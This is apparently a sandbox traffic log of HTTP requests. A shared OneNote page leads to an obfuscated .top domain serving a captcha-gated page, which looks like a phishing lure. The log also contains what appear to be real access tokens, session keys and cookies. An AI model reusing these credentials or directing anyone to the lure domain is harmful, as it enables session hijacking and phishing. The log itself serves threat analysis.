Source: global traffic	HTTP traffic detected: GET /o/null&DataUrlEnabled=true HTTP/1.1Host: onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: SN3PEPF00017C99X-OfficeVersion: 16.0.18214.41004X-Key: JET8TXCUqtsIdxzH7JR+8AxZAV8tHKhwZjWok0HNi3U=;WP9oBPW/wQjBzAXFqEEnFB3ZDLJg8dixW8eGJaFRJyU=,638654411289687050X-WacUserAgent: MSWACONSyncX-Requested-With: XMLHttpRequestX-xhr: 1sec-ch-ua-platform: "Windows"haep: 3X-AccessToken: 4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCwX-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4X-AccessTokenTtl: 1730017122364sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-UserType: WOPIX-IsCoauthSession: trueX-WacCluster: PUS11Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBootAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Source: global traffic	HTTP traffic detected: GET /o/OneNoteS2SHandler.ashx?action=educationuser&WOPIsrc=https%3A%2F%2Fwopi%2Eonedrive%2Ecom%2Fwopi%2Ffolders%2FA2C259BD24DEB977%211517&access_token=4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw&access_token_ttl=1730017122364 HTTP/1.1Host: onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
Source: global traffic	HTTP traffic detected: GET /o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true HTTP/1.1Host: onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: SN3PEPF00017C99X-OfficeVersion: 16.0.18214.41004X-Key: JET8TXCUqtsIdxzH7JR+8AxZAV8tHKhwZjWok0HNi3U=;WP9oBPW/wQjBzAXFqEEnFB3ZDLJg8dixW8eGJaFRJyU=,638654411289687050X-WacUserAgent: MSWACONSyncX-Requested-With: XMLHttpRequestX-xhr: 1sec-ch-ua-platform: "Windows"haep: 3X-AccessToken: 4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCwX-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4X-AccessTokenTtl: 1730017122364sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-UserType: WOPIX-IsCoauthSession: trueX-WacCluster: PUS11Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBootAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
Source: global traffic	HTTP traffic detected: GET /o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true HTTP/1.1Host: onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
Source: global traffic	HTTP traffic detected: GET /o/App_Scripts/Acl/Acl1033.js HTTP/1.1Host: onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBootAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Source: global traffic	HTTP traffic detected: GET /o/App_Scripts/Acl/Acl1033.js HTTP/1.1Host: onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
Source: global traffic	HTTP traffic detected: GET /o/RemoteTelemetry.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&build=16.0.18214.41004&waccluster=PUS11 HTTP/1.1Host: onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; ShCLSessionID=1729844349229_0.9147422252239774
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /captcha/style.css HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e1a56f38220d/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/AddinServiceHandler.ashx?action=laststoreupdate&app=4&lc=EN-US&WOPIsrc=https%3A%2F%2Fwopi%2Eonedrive%2Ecom%2Fwopi%2Ffolders%2FA2C259BD24DEB977%211517&access_token=4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw&access_token_ttl=1730017122364 HTTP/1.1Host: onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"haep: 3X-WacFrontEnd: SN3PEPF00017C99X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4sec-ch-ua-mobile: ?0X-OfficeVersion: 16.0.18214.41004X-Key: JET8TXCUqtsIdxzH7JR+8AxZAV8tHKhwZjWok0HNi3U=;WP9oBPW/wQjBzAXFqEEnFB3ZDLJg8dixW8eGJaFRJyU=,638654411289687050X-WacUserAgent: MSWACONSyncUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-Requested-With: XMLHttpRequestX-UserType: WOPIX-xhr: 1X-IsCoauthSession: trueX-WacCluster: PUS11sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBootAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; ShCLSessionID=1729844349229_0.9147422252239774
Source: global traffic	HTTP traffic detected: GET /oa/WacOAuth.aspx?replyUrl=https://onenote.officeapps.live.com&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&WacUserType=WOPI&sv=1&msalv3=1 HTTP/1.1Host: oauth.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://onenote.officeapps.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/AppSettingsHandler.ashx?app=OneNote&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&build= HTTP/1.1Host: onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://onedrive.live.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://onedrive.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e1a56f38220d/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c7f0395d4869&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /suite/RemoteTelemetry.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1Host: common.online.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/AppSettingsHandler.ashx?app=OneNote&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&build= HTTP/1.1Host: onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; ShCLSessionID=1729844349229_0.9147422252239774
Source: global traffic	HTTP traffic detected: GET /officeaddins/learningtools/?et= HTTP/1.1Host: www.onenote.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://onenote.officeapps.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c7f0395d4869&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
